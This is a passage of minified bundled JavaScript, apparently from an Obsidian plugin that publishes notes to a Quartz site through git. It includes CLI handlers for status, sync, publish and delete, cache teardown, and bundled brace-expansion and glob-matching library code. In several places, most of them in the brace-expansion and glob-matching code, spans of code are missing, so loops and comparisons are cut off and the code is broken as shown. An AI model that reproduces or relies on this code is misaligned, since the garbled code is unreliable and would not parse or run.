this.eventRefs)this.app.metadataCache.offref(t),this.app.vault.offref(t);this.eventRefs.length=0,this.store?.close(),this.store=null,this.tagIndex.clear(),this.bodyTagIndex.clear(),this.frontmatterTagIndex.clear(),this.backlinkIndex.clear(),this.bodyBacklinkIndex.clear(),this.frontmatterBacklinkIndex.clear(),this.unresolvedBacklinkIndex.clear(),this.embedIndex.clear(),this.headingIndex.clear(),this.frontmatterKeyIndex.clear(),this.frontmatterValueIndex.clear(),this.aliasIndex.clear(),this.blockIndex.clear(),this.taskStatusIndex.clear(),this.contributions.clear(),this.mtimes.clear(),this.files.clear()}}};function Kk(t,e){return`${t}\0${HK(e)}`}function VK(t,e){return Array.isArray(e)?e.map(n=>Kk(t,n)):[Kk(t,e)]}function HK(t){return t==null?"":typeof t=="string"?t.toLowerCase():typeof t=="number"||typeof t=="boolean"?String(t):t instanceof Date?t.toISOString().toLowerCase():JSON.stringify(t).toLowerCase()}function eL(){return new Promise(t=>{typeof requestIdleCallback=="function"?requestIdleCallback(()=>t()):setTimeout(t,0)})}var Qk=0,WK=1,GK="0.5.1",tL=Symbol.for("obsidian-extended-metadatacache/registry");function QK(){let t=globalThis,e=t[tL];return e||(e={majors:new Map},t[tL]=e),e}function nL(t,e){let n=QK(),r=n.majors.get(Qk),s=!r||r.instance.isDestroyed?(()=>{let c={instance:new qK(t,e),version:GK,apiMajor:Qk,apiMinor:WK,acquireCount:0};return n.majors.set(Qk,c),c})():r;s.acquireCount++;let o=s,a=!1;return{api:o.instance,release(){a||(a=!0,o.acquireCount--)}}}var hy=class{handle=null;readyPromise;resolveReady;constructor(e){this.readyPromise=new Promise(r=>{this.resolveReady=r}),this.handle=nL(e);let n=this.handle.api;n.isReady?this.resolveReady():n.on("ready",()=>this.resolveReady())}get api(){if(!this.handle)throw new Error("ExtendedCacheService already destroyed");return this.handle.api}get isReady(){return this.handle?.api.isReady??!1}waitForReady(){return this.readyPromise}destroy(){this.handle?.release(),this.handle=null}};var In=it(vt());m();m();var KK={h:"help",v:"verbose"},rL={help:{description:"Show this help message"},h:{description:"Show this help message"},"--help":{description:"Show this help message"},verbose:{description:"Enable verbose output"},v:{description:"Enable verbose output"},"--verbose":{description:"Enable verbose output"}};function iL(t){let e={};for(let n of Object.keys(t)){let r=n.replace(/^-{1,2}/,""),i=KK[r]??r;e[i]=t[n]}return e}function sL(t){let e={...rL};if(!t)return e;for(let[n,r]of Object.entries(t))e[n]=r,e[`--${n}`]=r;return e}function oL(t,e,n){let r=[`Usage: obsidian ${t} [flags]`,"",e];if(n&&Object.keys(n).length>0){let i=Object.entries(n).filter(([s])=>!s.startsWith("-")&&!Object.keys(rL).includes(s));if(i.length>0){r.push("","Flags:");for(let[s,o]of i){let a=o.value?`=${o.value}`:"";r.push(` ${s}${a} ${o.description}`)}}}return r.push("","Global flags:"," help, h Show this help message"," verbose, v Enable verbose output"),r.join(` -`)}function Q(t,e){if(t.format==="json")return JSON.stringify(e,null,2);if(!e.ok)return`Error: ${e.error??"Unknown error"}`;let n=e.message??JSON.stringify(e.data),r=e.durationMs?` (${(e.durationMs/1e3).toFixed(1)}s)`:"";return`${n}${r}`}function ce(t,e){return{ok:!1,command:t,error:e}}function Se(t,e,n,r){return{ok:!0,command:t,message:e,data:n,durationMs:r}}m();m();function Yt(t){return t.settings.git.remoteUrl?t.settings.git.branch?null:"Git branch is not configured. Set it in plugin settings or via 'obsidian quartz-syncer:config action=set key=git.branch value='.":"Git remote URL is not configured. Set it in plugin settings or via 'obsidian quartz-syncer:config action=set key=git.remoteUrl value='."}m();var dy=it(vt()),qi=class{setProgress(e){dy.default.debug(`CLI progress: ${e}%`)}setIndexText(e){dy.default.debug(`CLI index: ${e}`)}setText(e){dy.default.debug(`CLI status: ${e}`)}};var my="quartz-syncer:status",ZK={format:{value:"",description:"Output format (default: text)"}};function aL(t,e){t(my,"Show the publish status of all marked notes",ZK,async n=>{try{let r=Yt(e);if(r)return Q(n,ce(my,r));let i=Date.now(),s=new Sn(e.app.metadataCache,e.settings,e.getGitSettingsWithSecret()),o=new cr(e.app,e,e.app.vault,e.app.metadataCache,e.settings,e.datastore,e.extendedCache),a=new fr(s,o),l=new qi,c=await a.getPublishStatus(l),u=new Set([...c.unpublishedNotes.map(S=>S.getPath()),...c.changedNotes.map(S=>S.getPath()),...c.publishedNotes.map(S=>S.getPath()),...c.deletedNotePaths.map(S=>S.path)]),f=c.deletedBlobPaths.filter(S=>!u.has(S.path)),h={unpublished:c.unpublishedNotes.map(S=>S.getPath()),changed:c.changedNotes.map(S=>S.getPath()),published:c.publishedNotes.map(S=>S.getPath()),deletedNotes:c.deletedNotePaths.map(S=>S.path),deletedBlobs:f.map(S=>S.path),summary:{unpublished:c.unpublishedNotes.length,changed:c.changedNotes.length,published:c.publishedNotes.length,deletedNotes:c.deletedNotePaths.length,deletedBlobs:f.length}},p=n.verbose==="true"&&n.format!=="json",g=[],y=(S,D)=>{g.push(S),!(!p||D.length===0)&&g.push(...D.map(k=>` ${k}`))},w=[...h.deletedNotes,...h.deletedBlobs];y(`Unpublished: ${h.summary.unpublished}`,h.unpublished),y(`Changed: ${h.summary.changed}`,h.changed),y(`Published: ${h.summary.published}`,h.published),y(`Deleted: ${h.summary.deletedNotes+h.summary.deletedBlobs}`,w);let b=g.join(` -`);return Q(n,Se(my,b,h,Date.now()-i))}catch(r){return Q(n,ce(my,r instanceof Error?r.message:String(r)))}})}m();var ou="quartz-syncer:sync",YK={force:{description:"Apply deletions (required to delete remote files)"},"dry-run":{description:"Show what would be published/deleted without changes"},format:{value:"",description:"Output format (default: text)"}};function lL(t,e){t(ou,"Publish pending notes and optionally delete removed notes",YK,async n=>{try{let r=Yt(e);if(r)return Q(n,ce(ou,r));let i=Date.now(),s=n["dry-run"]==="true",o=n.force==="true",l=n.verbose==="true"&&n.format!=="json",c=new Sn(e.app.metadataCache,e.settings,e.getGitSettingsWithSecret()),u=new cr(e.app,e,e.app.vault,e.app.metadataCache,e.settings,e.datastore,e.extendedCache),f=new fr(c,u),h=new qi,d=await f.getPublishStatus(h),p=[...d.unpublishedNotes,...d.changedNotes],g=new Set([...d.unpublishedNotes.map(N=>N.getPath()),...d.changedNotes.map(N=>N.getPath()),...d.publishedNotes.map(N=>N.getPath()),...d.deletedNotePaths.map(N=>N.path)]),y=d.deletedBlobPaths.filter(N=>!g.has(N.path)),w=[...d.deletedNotePaths.map(N=>N.path),...y.map(N=>N.path)],b={publish:p.map(N=>N.getPath()),delete:w,skippedDeletes:[],summary:{published:p.length,deleted:0,skippedDeletes:0}},S=(N,B,L,G)=>{if(!l)return G;let U=[];return N.length>0&&(U.push(`Published ${N.length} file${N.length===1?"":"s"}:`),U.push(...N.map(he=>` ${he}`))),B.length>0&&(U.push(`Deleted ${B.length} file${B.length===1?"":"s"}:`),U.push(...B.map(he=>` ${he}`))),L.length>0&&(U.push(`Skipped ${L.length} deletion${L.length===1?"":"s"}:`),U.push(...L.map(he=>` ${he}`))),U.length>0?U.join(` -`):G};if(s){b.summary.deleted=w.length;let N=`Dry run: ${b.summary.published} to publish, ${w.length} to delete.`,B=S(b.publish,b.delete,[],N);return Q(n,Se(ou,B,b,Date.now()-i))}if(p.length===0&&w.length===0)return Q(n,Se(ou,S([],[],[],"Nothing to sync."),b,Date.now()-i));let D=u.createConnection();if(!await u.publishBatch(p,D))throw new Error("Failed to publish files.");let E=0,v=[];if(w.length>0)if(o){if(!await u.deleteBatch(w,D))throw new Error("Failed to delete files.");E=w.length}else v=w;b.skippedDeletes=v,b.summary.deleted=E,b.summary.skippedDeletes=v.length;let _=[`Published ${p.length} file${p.length===1?"":"s"}`,`Deleted ${E} file${E===1?"":"s"}`];v.length>0&&_.push(`Skipped ${v.length} deletion${v.length===1?"":"s"} (use force)`);let C=_.join(". ")+".",A=o?w:[],P=S(b.publish,A,v,C);return Q(n,Se(ou,P,b,Date.now()-i))}catch(r){return Q(n,ce(ou,r instanceof Error?r.message:String(r)))}})}m();var au="quartz-syncer:publish",JK={"dry-run":{description:"Show what would be published without changes"},format:{value:"",description:"Output format (default: text)"}};function cL(t,e){t(au,"Publish pending notes without deletions",JK,async n=>{try{let r=Yt(e);if(r)return Q(n,ce(au,r));let i=Date.now(),s=n["dry-run"]==="true",a=n.verbose==="true"&&n.format!=="json",l=new Sn(e.app.metadataCache,e.settings,e.getGitSettingsWithSecret()),c=new cr(e.app,e,e.app.vault,e.app.metadataCache,e.settings,e.datastore,e.extendedCache),u=new fr(l,c),f=new qi,h=await u.getPublishStatus(f),d=[...h.unpublishedNotes,...h.changedNotes],p={publish:d.map(D=>D.getPath()),summary:{published:d.length}},g=(D,k)=>!a||D.length===0?k:[`Published ${D.length} file${D.length===1?"":"s"}:`,...D.map(E=>` ${E}`)].join(` -`);if(s){let D=`Dry run: ${d.length} to publish.`,k=g(p.publish,D);return Q(n,Se(au,k,p,Date.now()-i))}if(d.length===0)return Q(n,Se(au,g([],"Nothing to publish."),p,Date.now()-i));let y=c.createConnection();if(!await c.publishBatch(d,y))throw new Error("Failed to publish files.");let b=`Published ${d.length} file${d.length===1?"":"s"}.`,S=g(p.publish,b);return Q(n,Se(au,S,p,Date.now()-i))}catch(r){return Q(n,ce(au,r instanceof Error?r.message:String(r)))}})}m();var ja="quartz-syncer:delete",XK={force:{description:"Apply deletions (required)"},"dry-run":{description:"Show what would be deleted without changes"},format:{value:"",description:"Output format (default: text)"}};function uL(t,e){t(ja,"Delete removed notes from the remote repository",XK,async n=>{try{let r=Yt(e);if(r)return Q(n,ce(ja,r));let i=Date.now(),s=n["dry-run"]==="true",o=n.force==="true",l=n.verbose==="true"&&n.format!=="json",c=new Sn(e.app.metadataCache,e.settings,e.getGitSettingsWithSecret()),u=new cr(e.app,e,e.app.vault,e.app.metadataCache,e.settings,e.datastore,e.extendedCache),f=new fr(c,u),h=new qi,d=await f.getPublishStatus(h),p=new Set([...d.unpublishedNotes.map(v=>v.getPath()),...d.changedNotes.map(v=>v.getPath()),...d.publishedNotes.map(v=>v.getPath()),...d.deletedNotePaths.map(v=>v.path)]),g=d.deletedBlobPaths.filter(v=>!p.has(v.path)),y=[...d.deletedNotePaths.map(v=>v.path),...g.map(v=>v.path)],w={delete:y,summary:{deleted:y.length}},b=(v,_)=>!l||v.length===0?_:[`Deleted ${v.length} file${v.length===1?"":"s"}:`,...v.map(C=>` ${C}`)].join(` -`);if(s){let v=`Dry run: ${y.length} to delete.`,_=b(y,v);return Q(n,Se(ja,_,w,Date.now()-i))}if(y.length===0)return Q(n,Se(ja,b([],"Nothing to delete."),w,Date.now()-i));if(!o)return Q(n,ce(ja,"Deletion requires the 'force' flag."));let S=u.createConnection();if(!await u.deleteBatch(y,S))throw new Error("Failed to delete files.");let k=`Deleted ${y.length} file${y.length===1?"":"s"}.`,E=b(y,k);return Q(n,Se(ja,E,w,Date.now()-i))}catch(r){return Q(n,ce(ja,r instanceof Error?r.message:String(r)))}})}m();m();var gy=require("obsidian");m();m();m();var Zk=(t,e,n)=>{let r=t instanceof RegExp?fL(t,n):t,i=e instanceof RegExp?fL(e,n):e,s=r!==null&&i!=null&&eZ(r,i,n);return s&&{start:s[0],end:s[1],pre:n.slice(0,s[0]),body:n.slice(s[0]+r.length,s[1]),post:n.slice(s[1]+i.length)}},fL=(t,e)=>{let n=e.match(t);return n?n[0]:null},eZ=(t,e,n)=>{let r,i,s,o,a,l=n.indexOf(t),c=n.indexOf(e,l+1),u=l;if(l>=0&&c>0){if(t===e)return[l,c];for(r=[],s=n.length;u>=0&&!a;){if(u===l)r.push(u),l=n.indexOf(t,u+1);else if(r.length===1){let f=r.pop();f!==void 0&&(a=[f,c])}else i=r.pop(),i!==void 0&&i=0?l:c}r.length&&o!==void 0&&(a=[s,o])}return a};var hL="\0SLASH"+Math.random()+"\0",dL="\0OPEN"+Math.random()+"\0",Jk="\0CLOSE"+Math.random()+"\0",mL="\0COMMA"+Math.random()+"\0",pL="\0PERIOD"+Math.random()+"\0",tZ=new RegExp(hL,"g"),nZ=new RegExp(dL,"g"),rZ=new RegExp(Jk,"g"),iZ=new RegExp(mL,"g"),sZ=new RegExp(pL,"g"),oZ=/\\\\/g,aZ=/\\{/g,lZ=/\\}/g,cZ=/\\,/g,uZ=/\\\./g,fZ=1e5;function Yk(t){return isNaN(t)?t.charCodeAt(0):parseInt(t,10)}function hZ(t){return t.replace(oZ,hL).replace(aZ,dL).replace(lZ,Jk).replace(cZ,mL).replace(uZ,pL)}function dZ(t){return t.replace(tZ,"\\").replace(nZ,"{").replace(rZ,"}").replace(iZ,",").replace(sZ,".")}function gL(t){if(!t)return[""];let e=[],n=Zk("{","}",t);if(!n)return t.split(",");let{pre:r,body:i,post:s}=n,o=r.split(",");o[o.length-1]+="{"+i+"}";let a=gL(s);return s.length&&(o[o.length-1]+=a.shift(),o.push.apply(o,a)),e.push.apply(e,o),e}function yL(t,e={}){if(!t)return[];let{max:n=fZ}=e;return t.slice(0,2)==="{}"&&(t="\\{\\}"+t.slice(2)),rd(hZ(t),n,!0).map(dZ)}function mZ(t){return"{"+t+"}"}function pZ(t){return/^-?0\d/.test(t)}function gZ(t,e){return t<=e}function yZ(t,e){return t>=e}function rd(t,e,n){let r=[],i=Zk("{","}",t);if(!i)return[t];let s=i.pre,o=i.post.length?rd(i.post,e,!1):[""];if(/\$$/.test(i.pre))for(let a=0;a=0;if(!c&&!u)return i.post.match(/,(?!,).*\}/)?(t=i.pre+"{"+i.body+Jk+i.post,rd(t,e,!0)):[t];let f;if(c)f=i.body.split(/\.\./);else if(f=gL(i.body),f.length===1&&f[0]!==void 0&&(f=rd(f[0],e,!1).map(mZ),f.length===1))return o.map(d=>i.pre+f[0]+d);let h;if(c&&f[0]!==void 0&&f[1]!==void 0){let d=Yk(f[0]),p=Yk(f[1]),g=Math.max(f[0].length,f[1].length),y=f.length===3&&f[2]!==void 0?Math.max(Math.abs(Yk(f[2])),1):1,w=gZ;p0){let v=new Array(E+1).join("0");D<0?k="-"+v+k.slice(1):k=v+k}}h.push(k)}}else{h=[];for(let d=0;d{if(typeof t!="string")throw new TypeError("invalid pattern");if(t.length>65536)throw new TypeError("pattern is too long")};m();m();var wZ={"[:alnum:]":["\\p{L}\\p{Nl}\\p{Nd}",!0],"[:alpha:]":["\\p{L}\\p{Nl}",!0],"[:ascii:]":["\\x00-\\x7f",!1],"[:blank:]":["\\p{Zs}\\t",!0],"[:cntrl:]":["\\p{Cc}",!0],"[:digit:]":["\\p{Nd}",!0],"[:graph:]":["\\p{Z}\\p{C}",!0,!0],"[:lower:]":["\\p{Ll}",!0],"[:print:]":["\\p{C}",!0],"[:punct:]":["\\p{P}",!0],"[:space:]":["\\p{Z}\\t\\r\\n\\v\\f",!0],"[:upper:]":["\\p{Lu}",!0],"[:word:]":["\\p{L}\\p{Nl}\\p{Nd}\\p{Pc}",!0],"[:xdigit:]":["A-Fa-f0-9",!1]},sd=t=>t.replace(/[[\]\\-]/g,"\\$&"),bZ=t=>t.replace(/[-[\]{}()*+?.,\\^$|#\s]/g,"\\$&"),wL=t=>t.join(""),bL=(t,e)=>{let n=e;if(t.charAt(n)!=="[")throw new Error("not in a brace expression");let r=[],i=[],s=n+1,o=!1,a=!1,l=!1,c=!1,u=n,f="";e:for(;sf?r.push(sd(f)+"-"+sd(g)):g===f&&r.push(sd(g)),f="",s++;continue}if(t.startsWith("-]",s+1)){r.push(sd(g+"-")),s+=2;continue}if(t.startsWith("-",s+1)){f=g,s+=2;continue}r.push(sd(g)),s++}if(un?e?t.replace(/\[([^/\\])\]/g,"$1"):t.replace(/((?!\\).|^)\[([^/\\])\]/g,"$1$2").replace(/\\([^/])/g,"$1"):e?t.replace(/\[([^/\\{}])\]/g,"$1"):t.replace(/((?!\\).|^)\[([^/\\{}])\]/g,"$1$2").replace(/\\([^/{}])/g,"$1");var Wn,vZ=new Set(["!","?","+","*","@"]),Xk=t=>vZ.has(t),vL=t=>Xk(t.type),kZ=new Map([["!",["@"]],["?",["?","@"]],["@",["@"]],["*",["*","+","?","@"]],["+",["+","@"]]]),xZ=new Map([["!",["?"]],["@",["?"]],["+",["?","*"]]]),SZ=new Map([["!",["?","@"]],["?",["?","@"]],["@",["?","@"]],["*",["*","+","?","@"]],["+",["+","@","?","*"]]]),kL=new Map([["!",new Map([["!","@"]])],["?",new Map([["*","*"],["+","*"]])],["@",new Map([["!","!"],["?","?"],["@","@"],["*","*"],["+","+"]])],["+",new Map([["?","*"],["*","*"]])]]),DZ="(?!(?:^|/)\\.\\.?(?:$|/))",py="(?!\\.)",EZ=new Set(["[","."]),_Z=new Set(["..","."]),CZ=new Set("().*{}+?[]^$\\!"),TZ=t=>t.replace(/[-[\]{}()*+?.,\\^$|#\s]/g,"\\$&"),ex="[^/]",xL=ex+"*?",SL=ex+"+?",FZ=0,qa=class{type;#n;#r;#i=!1;#e=[];#t;#a;#c;#l=!1;#s;#o;#u=!1;id=++FZ;get depth(){return(this.#t?.depth??-1)+1}[Symbol.for("nodejs.util.inspect.custom")](){return{"@@type":"AST",id:this.id,type:this.type,root:this.#n.id,parent:this.#t?.id,depth:this.depth,partsLength:this.#e.length,parts:this.#e}}constructor(e,n,r={}){this.type=e,e&&(this.#r=!0),this.#t=n,this.#n=this.#t?this.#t.#n:this,this.#s=this.#n===this?r:this.#n.#s,this.#c=this.#n===this?[]:this.#n.#c,e==="!"&&!this.#n.#l&&this.#c.push(this),this.#a=this.#t?this.#t.#e.length:0}get hasMagic(){if(this.#r!==void 0)return this.#r;for(let e of this.#e)if(typeof e!="string"&&(e.type||e.hasMagic))return this.#r=!0;return this.#r}toString(){return this.#o!==void 0?this.#o:this.type?this.#o=this.type+"("+this.#e.map(e=>String(e)).join("|")+")":this.#o=this.#e.map(e=>String(e)).join("")}#y(){if(this!==this.#n)throw new Error("should only call on root");if(this.#l)return this;this.toString(),this.#l=!0;let e;for(;e=this.#c.pop();){if(e.type!=="!")continue;let n=e,r=n.#t;for(;r;){for(let i=n.#a+1;!r.type&&itypeof n=="string"?n:n.toJSON()):[this.type,...this.#e.map(n=>n.toJSON())];return this.isStart()&&!this.type&&e.unshift([]),this.isEnd()&&(this===this.#n||this.#n.#l&&this.#t?.type==="!")&&e.push({}),e}isStart(){if(this.#n===this)return!0;if(!this.#t?.isStart())return!1;if(this.#a===0)return!0;let e=this.#t;for(let n=0;ntypeof d!="string"),c=this.#e.map(d=>{let[p,g,y,w]=typeof d=="string"?Wn.#S(d,this.#r,l):d.toRegExpSource(e);return this.#r=this.#r||y,this.#i=this.#i||w,p}).join(""),u="";if(this.isStart()&&typeof this.#e[0]=="string"&&!(this.#e.length===1&&_Z.has(this.#e[0]))){let p=EZ,g=n&&p.has(c.charAt(0))||c.startsWith("\\.")&&p.has(c.charAt(2))||c.startsWith("\\.\\.")&&p.has(c.charAt(4)),y=!n&&!e&&p.has(c.charAt(0));u=g?DZ:y?py:""}let f="";return this.isEnd()&&this.#n.#l&&this.#t?.type==="!"&&(f="(?:$|\\/)"),[u+c+f,Oo(c),this.#r=!!this.#r,this.#i]}let r=this.type==="*"||this.type==="+",i=this.type==="!"?"(?:(?!(?:":"(?:",s=this.#g(n);if(this.isStart()&&this.isEnd()&&!s&&this.type!=="!"){let l=this.toString(),c=this;return c.#e=[l],c.type=null,c.#r=void 0,[l,Oo(this.toString()),!1,!1]}let o=!r||e||n||!py?"":this.#g(!0);o===s&&(o=""),o&&(s=`(?:${s})(?:${o})*?`);let a="";if(this.type==="!"&&this.#u)a=(this.isStart()&&!n?py:"")+SL;else{let l=this.type==="!"?"))"+(this.isStart()&&!n&&!e?py:"")+xL+")":this.type==="@"?")":this.type==="?"?")?":this.type==="+"&&o?")":this.type==="*"&&o?")?":`)${this.type}`;a=i+s+l}return[a,Oo(s),this.#r=!!this.#r,this.#i]}#d(){if(vL(this)){let e=0,n=!1;do{n=!0;for(let r=0;r{if(typeof n=="string")throw new Error("string type in extglob ast??");let[r,i,s,o]=n.toRegExpSource(e);return this.#i=this.#i||o,r}).filter(n=>!(this.isStart()&&this.isEnd())||!!n).join("|")}static#S(e,n,r=!1){let i=!1,s="",o=!1,a=!1;for(let l=0;ln?e?t.replace(/[?*()[\]{}]/g,"[$&]"):t.replace(/[?*()[\]\\{}]/g,"\\$&"):e?t.replace(/[?*()[\]]/g,"[$&]"):t.replace(/[?*()[\]\\]/g,"\\$&");var rn=(t,e,n={})=>(id(e),!n.nocomment&&e.charAt(0)==="#"?!1:new lu(e,n).match(t)),IZ=/^\*+([^+@!?*[(]*)$/,AZ=t=>e=>!e.startsWith(".")&&e.endsWith(t),OZ=t=>e=>e.endsWith(t),PZ=t=>(t=t.toLowerCase(),e=>!e.startsWith(".")&&e.toLowerCase().endsWith(t)),NZ=t=>(t=t.toLowerCase(),e=>e.toLowerCase().endsWith(t)),MZ=/^\*+\.\*+$/,RZ=t=>!t.startsWith(".")&&t.includes("."),zZ=t=>t!=="."&&t!==".."&&t.includes("."),LZ=/^\.\*+$/,BZ=t=>t!=="."&&t!==".."&&t.startsWith("."),$Z=/^\*+$/,UZ=t=>t.length!==0&&!t.startsWith("."),jZ=t=>t.length!==0&&t!=="."&&t!=="..",qZ=/^\?+([^+@!?*[(]*)?$/,VZ=([t,e=""])=>{let n=_L([t]);return e?(e=e.toLowerCase(),r=>n(r)&&r.toLowerCase().endsWith(e)):n},HZ=([t,e=""])=>{let n=CL([t]);return e?(e=e.toLowerCase(),r=>n(r)&&r.toLowerCase().endsWith(e)):n},WZ=([t,e=""])=>{let n=CL([t]);return e?r=>n(r)&&r.endsWith(e):n},GZ=([t,e=""])=>{let n=_L([t]);return e?r=>n(r)&&r.endsWith(e):n},_L=([t])=>{let e=t.length;return n=>n.length===e&&!n.startsWith(".")},CL=([t])=>{let e=t.length;return n=>n.length===e&&n!=="."&&n!==".."},TL=typeof process=="object"&&process?typeof process.env=="object"&&process.env&&process.env.__MINIMATCH_TESTING_PLATFORM__||process.platform:"posix",DL={win32:{sep:"\\"},posix:{sep:"/"}},QZ=TL==="win32"?DL.win32.sep:DL.posix.sep;rn.sep=QZ;var hn=Symbol("globstar **");rn.GLOBSTAR=hn;var KZ="[^/]",ZZ=KZ+"*?",YZ="(?:(?!(?:\\/|^)(?:\\.{1,2})($|\\/)).)*?",JZ="(?:(?!(?:\\/|^)\\.).)*?",XZ=(t,e={})=>n=>rn(n,t,e);rn.filter=XZ;var Ur=(t,e={})=>Object.assign({},t,e),eY=t=>{if(!t||typeof t!="object"||!Object.keys(t).length)return rn;let e=rn;return Object.assign((r,i,s={})=>e(r,i,Ur(t,s)),{Minimatch:class extends e.Minimatch{constructor(i,s={}){super(i,Ur(t,s))}static defaults(i){return e.defaults(Ur(t,i)).Minimatch}},AST:class extends e.AST{constructor(i,s,o={}){super(i,s,Ur(t,o))}static fromGlob(i,s={}){return e.AST.fromGlob(i,Ur(t,s))}},unescape:(r,i={})=>e.unescape(r,Ur(t,i)),escape:(r,i={})=>e.escape(r,Ur(t,i)),filter:(r,i={})=>e.filter(r,Ur(t,i)),defaults:r=>e.defaults(Ur(t,r)),makeRe:(r,i={})=>e.makeRe(r,Ur(t,i)),braceExpand:(r,i={})=>e.braceExpand(r,Ur(t,i)),match:(r,i,s={})=>e.match(r,i,Ur(t,s)),sep:e.sep,GLOBSTAR:hn})};rn.defaults=eY;var FL=(t,e={})=>(id(t),e.nobrace||!/\{(?:(?!\{).)*\}/.test(t)?[t]:yL(t,{max:e.braceExpandMax}));rn.braceExpand=FL;var tY=(t,e={})=>new lu(t,e).makeRe();rn.makeRe=tY;var nY=(t,e,n={})=>{let r=new lu(e,n);return t=t.filter(i=>r.match(i)),r.options.nonull&&!t.length&&t.push(e),t};rn.match=nY;var EL=/[?*]|[+@!]\(.*?\)|\[|\]/,rY=t=>t.replace(/[-[\]{}()*+?.,\\^$|#\s]/g,"\\$&"),lu=class{options;set;pattern;windowsPathsNoEscape;nonegate;negate;comment;empty;preserveMultipleSlashes;partial;globSet;globParts;nocase;isWindows;platform;windowsNoMagicRoot;maxGlobstarRecursion;regexp;constructor(e,n={}){id(e),n=n||{},this.options=n,this.maxGlobstarRecursion=n.maxGlobstarRecursion??200,this.pattern=e,this.platform=n.platform||TL,this.isWindows=this.platform==="win32";let r="allowWindowsEscape";this.windowsPathsNoEscape=!!n.windowsPathsNoEscape||n[r]===!1,this.windowsPathsNoEscape&&(this.pattern=this.pattern.replace(/\\/g,"/")),this.preserveMultipleSlashes=!!n.preserveMultipleSlashes,this.regexp=null,this.negate=!1,this.nonegate=!!n.nonegate,this.comment=!1,this.empty=!1,this.partial=!!n.partial,this.nocase=!!this.options.nocase,this.windowsNoMagicRoot=n.windowsNoMagicRoot!==void 0?n.windowsNoMagicRoot:!!(this.isWindows&&this.nocase),this.globSet=[],this.globParts=[],this.set=[],this.make()}hasMagic(){if(this.options.magicalBraces&&this.set.length>1)return!0;for(let e of this.set)for(let n of e)if(typeof n!="string")return!0;return!1}debug(...e){}make(){let e=this.pattern,n=this.options;if(!n.nocomment&&e.charAt(0)==="#"){this.comment=!0;return}if(!e){this.empty=!0;return}this.parseNegate(),this.globSet=[...new Set(this.braceExpand())],n.debug&&(this.debug=(...s)=>console.error(...s)),this.debug(this.pattern,this.globSet);let r=this.globSet.map(s=>this.slashSplit(s));this.globParts=this.preprocess(r),this.debug(this.pattern,this.globParts);let i=this.globParts.map((s,o,a)=>{if(this.isWindows&&this.windowsNoMagicRoot){let l=s[0]===""&&s[1]===""&&(s[2]==="?"||!EL.test(s[2]))&&!EL.test(s[3]),c=/^[a-z]:/i.test(s[0]);if(l)return[...s.slice(0,4),...s.slice(4).map(u=>this.parse(u))];if(c)return[s[0],...s.slice(1).map(u=>this.parse(u))]}return s.map(l=>this.parse(l))});if(this.debug(this.pattern,i),this.set=i.filter(s=>s.indexOf(!1)===-1),this.isWindows)for(let s=0;s=2?(e=this.firstPhasePreProcess(e),e=this.secondPhasePreProcess(e)):n>=1?e=this.levelOneOptimize(e):e=this.adjascentGlobstarOptimize(e),e}adjascentGlobstarOptimize(e){return e.map(n=>{let r=-1;for(;(r=n.indexOf("**",r+1))!==-1;){let i=r;for(;n[i+1]==="**";)i++;i!==r&&n.splice(r,i-r)}return n})}levelOneOptimize(e){return e.map(n=>(n=n.reduce((r,i)=>{let s=r[r.length-1];return i==="**"&&s==="**"?r:i===".."&&s&&s!==".."&&s!=="."&&s!=="**"?(r.pop(),r):(r.push(i),r)},[]),n.length===0?[""]:n))}levelTwoFileOptimize(e){Array.isArray(e)||(e=this.slashSplit(e));let n=!1;do{if(n=!1,!this.preserveMultipleSlashes){for(let i=1;ii&&r.splice(i+1,o-i);let a=r[i+1],l=r[i+2],c=r[i+3];if(a!==".."||!l||l==="."||l===".."||!c||c==="."||c==="..")continue;n=!0,r.splice(i,1);let u=r.slice(0);u[i]="**",e.push(u),i--}if(!this.preserveMultipleSlashes){for(let o=1;on.length)}partsMatch(e,n,r=!1){let i=0,s=0,o=[],a="";for(;i=2&&(e=this.levelTwoFileOptimize(e)),n.includes(hn)?this.#n(e,n,r,i,s):this.#i(e,n,r,i,s)}#n(e,n,r,i,s){let o=n.indexOf(hn,s),a=n.lastIndexOf(hn),[l,c,u]=r?[n.slice(s,o),n.slice(o+1),[]]:[n.slice(s,o),n.slice(o+1,a),n.slice(a+1)];if(l.length){let b=e.slice(i,i+l.length);if(!this.#i(b,l,r,0,0))return!1;i+=l.length,s+=l.length}let f=0;if(u.length){if(u.length+i>e.length)return!1;let b=e.length-u.length;if(this.#i(e,u,r,b,0))f=u.length;else{if(e[e.length-1]!==""||i+u.length===e.length||(b--,!this.#i(e,u,r,b,0)))return!1;f=u.length+1}}if(!c.length){let b=!!f;for(let S=i;S{let c=l.map(f=>{if(f instanceof RegExp)for(let h of f.flags.split(""))i.add(h);return typeof f=="string"?rY(f):f===hn?hn:f._src});c.forEach((f,h)=>{let d=c[h+1],p=c[h-1];f!==hn||p===hn||(p===void 0?d!==void 0&&d!==hn?c[h+1]="(?:\\/|"+r+"\\/)?"+d:c[h]=r:d===void 0?c[h-1]=p+"(?:\\/|\\/"+r+")?":d!==hn&&(c[h-1]=p+"(?:\\/|\\/"+r+"\\/)"+d,c[h+1]=hn))});let u=c.filter(f=>f!==hn);if(this.partial&&u.length>=1){let f=[];for(let h=1;h<=u.length;h++)f.push(u.slice(0,h).join("/"));return"(?:"+f.join("|")+")"}return u.join("/")}).join("|"),[o,a]=e.length>1?["(?:",")"]:["",""];s="^"+o+s+a+"$",this.partial&&(s="^(?:\\/|"+o+s.slice(1,-1)+a+")$"),this.negate&&(s="^(?!"+s+").+$");try{this.regexp=new RegExp(s,[...i].join(""))}catch{this.regexp=!1}return this.regexp}slashSplit(e){return this.preserveMultipleSlashes?e.split("/"):this.isWindows&&/^\/\/[^/]+/.test(e)?["",...e.split(/\/+/)]:e.split(/\/+/)}match(e,n=this.partial){if(this.debug("match",e,this.pattern),this.comment)return!1;if(this.empty)return e==="";if(e==="/"&&n)return!0;let r=this.options;this.isWindows&&(e=e.split("\\").join("/"));let i=this.slashSplit(e);this.debug(this.pattern,"split",i);let s=this.set;this.debug(this.pattern,"set",s);let o=i[i.length-1];if(!o)for(let a=i.length-2;!o&&a>=0;a--)o=i[a];for(let a of s){let l=i;if(r.matchBase&&a.length===1&&(l=[o]),this.matchOne(l,a,n))return r.flipNegate?!0:!this.negate}return r.flipNegate?!1:this.negate}static defaults(e){return rn.defaults(e).Minimatch}};rn.AST=qa;rn.Minimatch=lu;rn.escape=tx;rn.unescape=Oo;function IL(t,e){if(e.startsWith("~")){let 